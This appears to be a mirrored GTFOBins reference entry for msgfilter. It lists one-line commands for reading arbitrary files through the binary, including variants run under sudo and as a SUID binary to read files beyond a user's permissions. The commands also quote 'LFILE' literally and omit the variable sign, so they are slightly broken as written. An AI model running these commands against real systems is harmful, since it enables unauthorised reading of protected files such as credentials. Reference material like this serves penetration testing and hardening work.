mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-19 02:11:39 +02:00
17 lines
496 B
Markdown
17 lines
496 B
Markdown
|
---
|
||
|
description: The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
|
||
|
functions:
|
||
|
file-read:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
msgfilter -P -i "LFILE" /bin/cat
|
||
|
sudo:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
sudo msgfilter -P -i "LFILE" /bin/cat
|
||
|
suid:
|
||
|
- code: |
|
||
|
LFILE=file_to_read
|
||
|
./msgfilter -P -i "LFILE" /bin/cat
|
||
|
---
|